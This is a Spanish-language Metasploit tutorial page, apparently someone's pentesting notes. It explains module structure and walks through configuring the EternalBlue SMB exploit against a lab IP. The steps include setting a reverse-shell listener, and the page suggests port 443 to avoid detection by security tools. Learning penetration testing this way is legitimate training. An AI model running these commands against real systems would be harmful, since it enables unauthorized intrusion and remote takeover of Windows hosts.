> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/metasploit-framework/configuracion-de-modulos.md).

# CONFIGURACIÓN DE MÓDULOS

Cada módulo en MSF tiene una estructura específica con varios parámetros y configuraciones, en la mayoría de módulos la estructura va a ser la siguiente:

## Estructura

### Encabezado del módulo

* **Nombre del módulo:** Identificador único.
* **Descripción:** Breve resumen de la función del módulo.
* **Autor:** Nombre del autor o autores.
* **Licencia:** Tipo de licencia del módulo.

### Información técnica

* **CVE / IDs:** Identificadores de vulnerabilidades relacionadas. ~~CVE con los que el exploit es compatible.~~
* **Plataformas afectadas:** SO y aplicaciones vulnerables
* **Requisitos previos:** Condiciones necesarias para la explotación. Configuraciones que ya deben existir para que el módulo (7) se ejecute con éxito.

### Opciones de configuración

Variables que podemos configurar. ~~Y más variables dependiendo de lo que haga el módulo.~~

* **RHOSTS:** Dirección IP o rango de IP del objetivo.
* **RPORT:** Puerto del servicio objetivo.
* **PAYLOAD:** Carga útil a utilizar.
* **TARGET:** Configuración específica del objetivo.

***

## CONFIGURACIÓN DE UN MÓDULO

Usaremos el exploit conocido como `eternalblue` :ghost:.

### Buscar el exploit con search

```bash
msf > search eternalblue
```

### **Seleccionar el exploit**

```bash
msf > use [path/idtemp]
```

### **CONFIGURAR EL EXPLOIT**

**Dentro del módulo:**

* Ejecutamos el comando options para ver las opciones que podemos configurar:

```bash
msf exploit (windows/smb/ms17_010_eternalblue) > options
```

**Sintáxis:** `set <variable> <valor>`&#x20;

* Configurar la dirección ip del host remoto:

```bash
msf exploit (windows/smb/ms17_010_eternalblue) > set rhosts 10.0.2.4
```

* Configurar el puerto del host remoto:

```bash
msf exploit (windows/smb/ms17_010_eternalblue) > set rport 445
```

### **SETEAR UN PAYLOAD EN EL EXPLOIT**

Dependiendo del módulo, puede ser que nos asigne un payload compatible con el exploit.

El payload asignado automáticamente SI es compatible con el exploit, sin embargo puede no ser compatible con la máquina objetivo.

* Buscar payloads compatibles con el exploit seleccionado:

```bash
msf exploit (windows/smb/ms17_010_eternalblue) > show payloads
```

* Seleccionar un payload:

```bash
msf exploit (windows/smb/ms17_010_eternalblue) > set payload [path/id]
```

### **CONFIGURAR VARIABLES DEL PAYLOAD**

* Configurar la dirección ip local y el puerto local en donde se va recibir la shell reversa cuando se ejecute el payload en la máquina víctima.

```bash
msf exploit (windows/smb/ms17_010_eternalblue) > set lhost [ip]
msf exploit (windows/smb/ms17_010_eternalblue) > set lport 443
```

Por ejemplo podemos poner el puerto 443 para minimizar el riesgo de que un elemento de seguridad vea que se esta haciendo una conexión a través de un puerto no tan común como el 4444.

### **LANZAR EL EXPLOIT**

`exploit` = únicamente para la gestión de exploits y de payloads. Inicializa sesiones (como meterpreter) y maneja las conexiones persistentes

```bash
exploit
```

`run` = para los módulos auxiliares o de post-explotación. Ejecuta el módulo y finaliza su tarea, no inicia ni maneja sesiones a nivel de payloads.

```bash
run
```
